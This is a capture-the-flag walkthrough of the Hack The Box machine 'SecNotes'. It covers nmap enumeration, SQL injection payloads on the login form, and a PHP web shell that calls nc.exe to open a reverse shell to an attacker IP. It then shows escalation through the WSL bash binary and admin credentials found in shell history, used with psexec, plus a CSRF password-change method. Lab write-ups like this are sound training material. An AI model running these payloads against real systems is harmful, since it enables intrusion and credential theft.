This box is almost all about enumerating. To obtain a shell, it's necessary to exploit an SQLi vulnerability and, once in, to elevate privileges we will need to play with a new functionality of Windows, Linux subsystems.
First run an nmap listing versions and executing default scripts.
root@kali:~/htb/secnotes# nmap -sC -sV 10.10.10.97 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-17 11:46 UTC Nmap scan report for 10.10.10.97 Host is up (0.12s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 | http-title: Secure Notes - Login |_Requested resource was login.php 445/tcp open microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB) Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 2h40m01s, deviation: 4h37m09s, median: 0s | smb-os-discovery: | OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3) | OS CPE: cpe:/o:microsoft:windows_10::- | Computer name: SECNOTES | NetBIOS computer name: SECNOTES\x00 | Workgroup: HTB\x00 |_ System time: 2019-01-17T03:47:13-08:00 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-01-17 11:47:10 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 65.32 seconds
To not miss any port, also run another nmap trying all of them.
root@kali:~/htb/secnotes# nmap -p- -T4 10.10.10.97 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-17 11:49 UTC Nmap scan report for 10.10.10.97 Host is up (0.081s latency). Not shown: 65532 filtered ports PORT STATE SERVICE 80/tcp open http 445/tcp open microsoft-ds 8808/tcp open ssports-bcast Nmap done: 1 IP address (1 host up) scanned in 214.41 seconds
As shown above, there's something in port 8808, run another nmap to check what exactly is in there.
root@kali:~/htb/secnotes# nmap -sC -sV -p8808 10.10.10.97 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-17 12:03 UTC Nmap scan report for 10.10.10.97 Host is up (0.058s latency). PORT STATE SERVICE VERSION 8808/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.66 seconds
It looks like there's only a default installation of an IIS, which we will later use.
On the other hand, when accessing to port 80 you get redirected to a custom login page.
The option to create a new account is available using the Sign up link.
Once in, we get a page where we can add notes (that's why the machine is called SecNotes).
After some investigation, we can find an SQLi flaw on the login form.
Specify the following code as the username to exploit it.
' union select 1,2,3,4-- -
We can see that
4 are printed on the page, which means that we can use a union based attack to extract information from the database.
But if trying to use the following code to extract users and passwords, an error message pops up because there's a restriction on the length of the username.
' union select 1,username,3,password from users-- -
Instead, use the following payloads to retrieve the information.
' union select 1,id,3,username from users-- -
' union select 1,id,3,password from users-- -
Being able to obtain the hashed passwords of every user using the application.
But instead of using those credentials, we are going to use something that is also hidden in the database. We can use the following username to see all the notes published of every user.
' or '1'='1
In one of the notes there are the credentials to access, it seems, one of the SMB shares.
Connect to the specified share and see that we have write permissions in there.
root@kali:~/htb/secnotes# smbclient //10.10.10.97/new-site -U tyler Enter WORKGROUP\tyler's password: 92g!mA8BGjOirkL%OG*& Try "help" to get a list of possible commands. smb: \>
It's possible to identify that in this share are stored the files used on the IIS webpage we saw before.
smb: \> dir . D 0 Thu Jan 17 15:21:35 2019 .. D 0 Thu Jan 17 15:21:35 2019 iisstart.htm A 696 Thu Jun 21 15:26:03 2018 iisstart.png A 98757 Thu Jun 21 15:26:03 2018
Create a malicious php file to upload.
<?php echo shell_exec('nc.exe 10.10.16.32 6969 -e cmd.exe'); ?>
Upload the php and the nc binary.
smb: \> put caca.php putting file caca.php as \caca.php (0.1 kb/s) (average 0.1 kb/s) smb: \> put nc.exe putting file nc.exe as \nc.exe (38.8 kb/s) (average 17.7 kb/s)
Access to the php file
http://10.10.10.97:8808/caca.php to execute it and listen on the specified port to get a reverse shell.
root@kali:~/htb/secnotes# nc -nlvp 6969 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::6969 Ncat: Listening on 0.0.0.0:6969 Ncat: Connection from 10.10.10.97. Ncat: Connection from 10.10.10.97:51940. Microsoft Windows [Version 10.0.17134.228] (c) 2018 Microsoft Corporation. All rights reserved. C:\inetpub\new-site>
The flag is on tyler's desktop.
C:\Users\tyler\Desktop>type user.txt type user.txt XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Looking through the machine directories, we can find something under
Distros folder, which looks like an Ubuntu subsystem.
C:\Distros>dir dir Volume in drive C has no label. Volume Serial Number is 9CDD-BADA Directory of C:\Distros 06/21/2018 02:07 PM <DIR> . 06/21/2018 02:07 PM <DIR> .. 06/21/2018 04:59 PM <DIR> Ubuntu 0 File(s) 0 bytes 3 Dir(s) 32,628,154,368 bytes free
Search for the bash binary and run it to enter into the Ubuntu subsystem.
C:\>dir /s bash.exe dir /s bash.exe Volume in drive C has no label. Volume Serial Number is 9CDD-BADA Directory of C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5 06/21/2018 02:02 PM 115,712 bash.exe 1 File(s) 115,712 bytes Total Files Listed: 1 File(s) 115,712 bytes 0 Dir(s) 32,912,412,672 bytes free C:\>C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe mesg: ttyname failed: Inappropriate ioctl for device whoami root
Upgrade the shell using python.
python -c 'import pty;pty.spawn("/bin/bash")' root@SECNOTES:~#
In the root's history, we can can find how the user tried to connect to the SMB share, leaving the administrator's credentials there.
root@SECNOTES:~# history history 1 cd /mnt/c/ 2 ls 3 cd Users/ 4 cd / 5 cd ~ 6 ls 7 pwd 8 mkdir filesystem 9 mount //127.0.0.1/c$ filesystem/ 10 sudo apt install cifs-utils 11 mount //127.0.0.1/c$ filesystem/ 12 mount //127.0.0.1/c$ filesystem/ -o user=administrator 13 cat /proc/filesystems 14 sudo modprobe cifs 15 smbclient 16 apt install smbclient 17 smbclient 18 smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$ ...
Connect to the SMB share using the obtained credentials.
root@kali:~/htb/secnotes# smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' //10.10.10.97/c$ Try "help" to get a list of possible commands. smb: \>
The flag can be found and downloaded on the Administrator's Desktop.
smb: \Users\Administrator\Desktop\> get root.txt getting file \Users\Administrator\Desktop\root.txt of size 34 as root.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec) smb: \Users\Administrator\Desktop\> exit root@kali:~/htb/secnotes# cat root.txt XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
To get a full shell as administrator we can use
root@kali:~/htb/secnotes# /opt/impacket/examples/psexec.py firstname.lastname@example.org Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies Password: u6!4ZwgwOM#^OBf#Nwnh [*] Requesting shares on 10.10.10.97..... [*] Found writable share ADMIN$ [*] Uploading file yQKiefXS.exe [*] Opening SVCManager on 10.10.10.97..... [*] Creating service YhMW on 10.10.10.97..... [*] Starting service YhMW..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17134.228] (c) 2018 Microsoft Corporation. All rights reserved. C:\WINDOWS\system32>whoami nt authority\system
After reading some write-ups of this machine I found the intended way to get user wasn't the SQL injection, instead you had to use a Cross-Site Request Forgery (CSRF) attack.
On the first website, there's an option to update your password.
This form is executing the following POST request.
But this GET request does the same thing.
We want the admin to execute it and then its password will be changed to what we have specified.
To do that we will use the contact form on the same website inciting the user to click on it. We have also included a link to our machine, just to know when the user has clicked.
If we have been listening, we would get a GET request to the specified link. Now we know the user has clicked the links.
root@kali:~/htb/secnotes# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... 10.10.10.97 - - [22/Jan/2019 10:41:20] code 404, message File not found 10.10.10.97 - - [22/Jan/2019 10:41:20] "GET /someoneclicked HTTP/1.1" 404 -
Enter as tyler and the password specified on the CSRF link and we can see the credentials to enter the SMB share.